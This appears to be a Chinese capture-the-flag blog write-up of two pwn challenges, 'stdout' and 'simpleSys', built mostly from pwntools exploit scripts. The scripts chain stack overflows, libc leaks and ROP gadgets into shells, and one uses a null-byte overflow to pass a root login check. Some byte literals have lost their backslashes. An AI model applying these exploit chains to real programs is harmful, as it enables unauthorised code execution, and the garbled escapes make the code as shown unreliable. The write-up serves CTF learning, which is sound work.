1. 前言
因为沉迷web,所以pwn没时间去做,现在回过头来看pwn题出的挺有意思,也在自己的能力范围之内,如果不做web,pwn应该还是能做出来几题的。
2. stdout (全缓冲)
给了libc-2.31。
看起来像是基础栈溢出,给了个后门函数,但不是system而是个更大的栈溢出。
偏移量88,但只能写0x60=96,因此必须用vuln()二次溢出。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
sh = gdb.debug("./pwn","b *vulnnc")
#sh = process("./pwn")
elf = ELF("./pwn")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")
vuln = 0x40125D
payload = "A"*88 + p64(vuln)
sh.sendline(payload)
sh.interactive()
成功进入vuln()
然后测出偏移量是39这个奇怪的数值,这是因为用了sendline,换成send来溢出,成功泄露libc。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./pwn","b *vulnnc")
sh = process("./pwn")
elf = ELF("./pwn")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")
puts_plt = elf.plt['puts']
exit_plt = elf.plt['exit']
got_puts = elf.got['puts']
vuln = 0x40125D
pop_rdi_ret = 0x4013d3
payload = "A"*88 + p64(vuln)
sh.send(payload)
payload = "B"*40 + p64(pop_rdi_ret) + p64(got_puts) + p64(puts_plt) + p64(exit_plt)
sh.send(payload)
sh.interactive()
但这些都是假象,gdb中单步调试可以看到,puts结束之后还是没打印libc,一直到程序完全退出之后才打印。
这是因为程序的init()使用了全缓冲。
在全缓冲模式下,得如下情况才能打印数据,刚刚我们碰到的是第三种情况。
如果程序退出了,泄露的libc将毫无意义。所以我们得采取第一种办法,题目中还提供了extend()帮我们填满缓冲区。
调用20次extend()之后,缓冲区被填满,泄露libc。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./pwn","b *vulnnc")
sh = process("./pwn")
elf = ELF("./pwn")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")
puts_plt = elf.plt['puts']
exit_plt = elf.plt['exit']
got_puts = elf.got['puts']
extend = 0x401287
vuln = 0x40125D
pop_rdi_ret = 0x4013d3
payload = "A"*88 + p64(vuln)
sh.send(payload)
payload = "B"*40 + p64(pop_rdi_ret) + p64(got_puts) + p64(puts_plt) + p64(vuln)
sh.send(payload)
payload = "B"*40 + p64(extend) + p64(vuln)
for i in range(0,21):
sh.send(payload)
sh.interactive()
剩下的就简单很多。不过这题用system()打不通,必须用execve(“/bin/sh”, 0, 0)
那么我们就得找pop rdi,pop rsi和pop rdx。
没有rdx怎么办呢?可以在libc里面找,用的时候加上基地址。
最终exp
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./pwn","b *vulnnc")
sh = process("./pwn")
elf = ELF("./pwn")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")
libc_puts = libc.sym['puts']
libc_system = libc.sym['execve']
libc_binsh = libc.search('/bin/sh').next()
puts_plt = elf.plt['puts']
exit_plt = elf.plt['exit']
got_puts = elf.got['puts']
extend = 0x401287
vuln = 0x40125D
pop_rdi_ret = 0x4013d3
pop_rsi_r15_ret = 0x4013d1
payload = "A"*88 + p64(vuln)
sh.send(payload)
payload = "B"*40 + p64(pop_rdi_ret) + p64(got_puts) + p64(puts_plt) + p64(vuln)
sh.send(payload)
payload = "B"*40 + p64(extend) + p64(vuln)
for i in range(0,21):
sh.send(payload)
puts_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
print(hex(puts_addr))
libc_base = puts_addr - libc_puts
system_addr = libc_system + libc_base
binsh_addr = libc_binsh + libc_base
pop_rdx_r12_ret = 0x11c1e1 + libc_base
payload = "B"*40 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(pop_rsi_r15_ret) + p64(0)+ p64(0) + p64(pop_rdx_r12_ret) + p64(0) + p64(0) + p64(system_addr)
sh.send(payload)
sh.interactive()
3. simpleSys
这题不提供libc,直接用kali自己的libc做的。
简单优化一下IDA的F5结果
是个登录注册程序
不让你注册root用户
但登录的时候,root用户的密码似乎是硬编码在aDghpcybpcybwyx中的。
很显然的base64,decode一下【this is password】
那么sub_189C显然就是base64_encode。用【root/this is password】登录就行了?尝试了一下发现不行,gdb进去看一眼。
可以发现,虽然base64之后的password完全一样,但是aDghpcybpcybwyx粘了一个0x1,导致len变成了0x19。也就是这两个字符串进行比较
dGhpcyBpcyBwYXNzd29yZA==[0x0]
dGhpcyBpcyBwYXNzd29yZA==[0x1]
密码经过base64之后只存在字母数字等号斜杠加号这些,显然没法写个0x1进去。但是末尾会自动写个0x0。
而且比较的两者地址完全紧挨着,我们可以将0x0溢出到0x555555558050,尝试了一下,34个A就可以覆盖到了。
覆盖之后len就是0,因此strncmp一定通过。
获取root之后,看看bio()
s[91],校验了v3>80就break,v3经过了sub_1268()的atoi(), 可以靠-1进行绕过,也不影响readn(),这样再输入字符串就可以进行栈溢出。
那么就可以写poc去gdb里找偏移了。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
sh = gdb.debug("./main","b *0x5555555554fanc")
#sh = process("./main")
elf = ELF("./main")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh.sendlineafter("choice: ","2")
sh.sendlineafter("username: ","root")
sh.sendlineafter("password: ","A" * 34)
sh.sendlineafter("choice: ","3")
sh.sendlineafter("length: ","-1")
sh.interactive()
熟练的puts_plt(puts_got)泄露libc。这个时候尴尬的发现这题开了PIE,text地址是随机的。
不过后面有个printf(“confirm your bio: %s [y/n]”, s);会帮我们打印栈。此时选一个合适的栈上存储的text地址泄露就行了。
sh.sendline("A"*72)
有了text基地址,再走泄露libc那一套。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./main","b *0x5555555554fanc")
sh = process("./main")
elf = ELF("./main")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh.sendlineafter("choice: ","2")
sh.sendlineafter("username: ","root")
sh.sendlineafter("password: ","A" * 34)
sh.sendlineafter("choice: ","3")
sh.sendlineafter("length: ","-1")
payload = "A"*72
sh.sendline(payload)
text_1297 = u64(sh.recvuntil("[y")[-9:-3] + "x00x00")
text_base = text_1297 - 0x1297
#print(hex(text_base))
puts_plt = elf.plt['puts'] + text_base
puts_got = elf.got['puts'] + text_base
pop_rdi_ret = 0x1751 + text_base
bio_fun = 0x146A + text_base
sh.sendlineafter("n]","n")
sh.sendlineafter("length: ","-1")
payload = "A"*104 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(bio_fun)
sh.sendline(payload)
sh.sendlineafter("n]","y")
sh.interactive()
那么getshell的exp就出来了(最后用个ret平衡下栈)。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./main","b *0x5555555554fanc")
sh = process("./main")
elf = ELF("./main")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_puts = libc.sym['puts']
libc_system = libc.sym['system']
libc_binsh = libc.search('/bin/sh').next()
sh.sendlineafter("choice: ","2")
sh.sendlineafter("username: ","root")
sh.sendlineafter("password: ","A" * 34)
sh.sendlineafter("choice: ","3")
sh.sendlineafter("length: ","-1")
payload = "A"*72
sh.sendline(payload)
text_1297 = u64(sh.recvuntil("[y")[-9:-3] + "x00x00")
text_base = text_1297 - 0x1297
print(hex(text_base))
puts_plt = elf.plt['puts'] + text_base
puts_got = elf.got['puts'] + text_base
pop_rdi_ret = 0x1751 + text_base
ret = 0x1567 + text_base
bio_fun = 0x146A + text_base
sh.sendlineafter("n]","n")
sh.sendlineafter("length: ","-1")
payload = "A"*104 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(bio_fun)
sh.sendline(payload)
sh.sendlineafter("n]","y")
puts_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
libc_base = puts_addr - libc_puts
print(hex(libc_base))
system_addr = libc_system + libc_base
binsh_addr = libc_binsh + libc_base
sh.sendlineafter("length: ","-1")
payload = "A"*104 + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sh.sendline(payload)
sh.sendlineafter("n]","y")
sh.interactive()
但回过头来一想,其实泄露text地址这一步也可以泄露libc嘛,atoi+16不就在它上面吗。
pop_rdi_ret和ret也都可以在libc上面找,这样就能在完全不知道text基地址的情况下直接getshell。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./main","b *0x5555555554fanc")
sh = process("./main")
elf = ELF("./main")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_atoi = libc.sym['atoi']
libc_system = libc.sym['system']
libc_binsh = libc.search('/bin/sh').next()
sh.sendlineafter("choice: ","2")
sh.sendlineafter("username: ","root")
sh.sendlineafter("password: ","A" * 34)
sh.sendlineafter("choice: ","3")
sh.sendlineafter("length: ","-1")
payload = "A"*56
sh.sendline(payload)
atoi_16_addr = u64(sh.recvuntil("[y")[-9:-3] + "x00x00")
libc_base = atoi_16_addr - libc_atoi - 16
print(hex(libc_base))
system_addr = libc_system + libc_base
binsh_addr = libc_binsh + libc_base
pop_rdi_ret = 0x27725 + libc_base
ret = 0x270c2 + libc_base
sh.sendlineafter("n]","n")
sh.sendlineafter("length: ","-1")
payload = "A"*104 + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sh.sendline(payload)
sh.sendlineafter("n]","y")
sh.interactive()
原文始发于微信公众号(珂技知识分享):web选手入门pwn(17) ——2024年春秋杯夏季赛pwn